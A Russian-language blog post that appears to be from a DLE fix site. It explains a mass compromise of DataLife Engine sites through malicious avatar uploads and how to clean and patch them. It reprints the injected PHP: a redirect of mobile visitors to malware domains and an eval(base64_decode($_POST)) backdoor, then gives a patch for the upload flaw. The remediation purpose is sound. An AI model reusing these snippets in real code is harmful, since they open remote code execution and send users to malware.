13.04.13, 23:26
0 комментарий
  DLE Баг-Фиксы

Взлом DLE загрузкой аватара с вредоносным кодом. Как с этим бороться?

Много лет в известном всем движке CMS DLE существовала уязвимость и никто на нее не обращал внимание. Но вот в начале этого года примерно с 6 января, видимо устав от празднования Нового года, хакер под псевдонимом tehApocalypse взломал несколько десятков тысяч сайтов на CMS DLE. В этой статье, я расскажу как закрыть дырку и удалить весь вредоносный код с ваших движков.

Хочу отметить тот факт что уязвимы абсолютно все версии DLE в том числе и DLE 9.7, про DLE 9.8 не скажу, не проверял. Патч безопасности от этого вас не спасет, это немножко другое.

В чем заключается взлом?
Взлом заключался во внедрении кода в несколько файлов DLE для перенаправления посетителей зараженных сайтов на сайт злоумышленника, переадресация действует только на мобильные телефоны, планшеты и т.д. Скажем вы заходите на зараженный сайт с телефона на OS Android тут же вам будет предложено скачать apk приложение, мол необходимо обновить ваш "интернет браузер" (иконка будет как в Google Chrome ). После установки приложения, ваш телефон будет инфицирован смс вирусом, который будет отправлять смс и снимать деньги с вашего баланса.

Если же вы уже скачали приложение, то не в коем случае не устанавливайте его!

Почему на это стоит обратить внимание?
Я предоставлю несколько фактов и вы дальше сами решите, тратите вы свое время или нет.
1) Яндекс может посчитать вас распространителем вирусных программ, соучастниками мошенников и т.д. Никто "церимоница" не будет, сразу попадете в бан.
2) Вы теряете посещаемость вашего сайта, люди которые заходят к примеру с мобильного не попадают на ваш сайт и вы теряете посетителей.
3) В вашем сайте дыра, только это уже говорит о том, что нужно действовать.

Какие файлы чаще всего подвержены заражению?
В основном заражению подлежат вот эти файлы:
index.php
engine/engine.php
engine/init.php
engine/data/config.php
engine/data/dbconfig.php


Но это не исключение, у меня например еще был заражен и language/Russian/website.lng , что очень меня удивило, так как я перекопал весь движок, но так и не смог найти вредоносный код, а редирект на вредоносный сайт так и оставался. Представляете моё удивление после обнаружение кода в папке language?

Приступим!
Находим и аккуратненько удаляем вот этот код из вышеперечисленных файлов (желательно сверится с чистым движком, да бы не удалить лишнего):

$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");
 
if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header('Location: http://statuses.ws/');
}


Кстати ещё один важен момент, этот код может дублироваться в нескольких местах, будьте внимательны.

Так же возможен вот такой вариант вредоносного кода:
if (strpos($_SERVER['HTTP_USER_AGENT'],"iPhone") || strpos($_SERVER['HTTP_USER_AGENT'],"Android") || strpos($_SERVER['HTTP_USER_AGENT'],"webOS") || strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry") || strpos($_SERVER['HTTP_USER_AGENT'],"iPod")) header('Location: http://live-internet.ws/');
if(!empty($_POST['update'])) eval(base64_decode($_POST['update']));
if (strpos($_SERVER['HTTP_USER_AGENT'],"iPhone") || strpos($_SERVER['HTTP_USER_AGENT'],"Android") || strpos($_SERVER['HTTP_USER_AGENT'],"webOS") || strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry") || strpos($_SERVER['HTTP_USER_AGENT'],"iPod")) header('Location: http://getinternet.ws/');
if(!empty($_POST['update'])) eval(base64_decode($_POST['update']));


Удаляем его. Код мы почистили, но теперь осталась дыра, которую нужно залатать.

Как эта дрянь попала на мой сайт?
Очень просто, в нескольких файлах, в которых мы можем редактировать профиль пользователя и загружать аватар для этого пользователя есть такой код:
if( $thumb->size_auto( $user_group[$member_id['user_group']]['max_foto'] ) ) {
$thumb->jpeg_quality( $config['jpeg_quality'] );
$thumb->save( ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );
} else {
@rename( ROOT_DIR . "/uploads/fotos/" . $id . "." . $type, ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );
}


Так вот все дело в этой строчке:
@rename( ROOT_DIR . "/uploads/fotos/" . $id . "." . $type, ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );


Т.е. если аватар не надо изменять по размеру, то исходный инжектированный файл копируется в первоначальном виде для дальнейшего использования.

Латаем дыру
Дыра сразу в трех файлах, а именно в:
engine/inc/editusers.php
engine/modules/register.php
engine/modules/profile.php


Находим в них строку:
@rename( ROOT_DIR . "/uploads/fotos/" . $id . "." . $type, ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );


Заменяем на:
$thumb->size_auto( $user_group[$member_id['user_group']]['max_foto'] );
$thumb->jpeg_quality( $config['jpeg_quality'] );
$thumb->save( ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );


Все теперь загрузить аватар с вредоносным кодом будет невозможно.

Рекомендую удалить все аватарки с папки uploads/fotos, так на всякий случай.

tehApocalypse - заходим в админку ищем его и баним, по ip и т.д, опять же на всякий случай.

Все теперь, не забывайте хотя бы раз в месяц проверять свои сайты на наличие вредоносного кода, мало ли я что-то упустил.

"Я все сделал по инструкции, а у меня не пропала переадресация, что делать?"

1) Убедится что вы не пропустили вредоносный код, как я уже говорил он может дублироваться в одном файле несколько раз.
2) Возможно вредоносный код записан еще в какие-то другие фалы, проверьте все файлы движка на наличее таких ссылок:
statuses.ws, live-internet.ws, getinternet.ws и если такие имеются удаляйте их вместе с вредоносным кодом.
3) Если и это не помогло, значит у вас другие ссылки, другой вредоносный код и т.д.

П.С. - Рекомендую всем владельцам CMS DLE сделать эту небольшую проверку, возможно вы тоже подверглись взлому.шаблоны для dle 11.2

Напишите своё мнение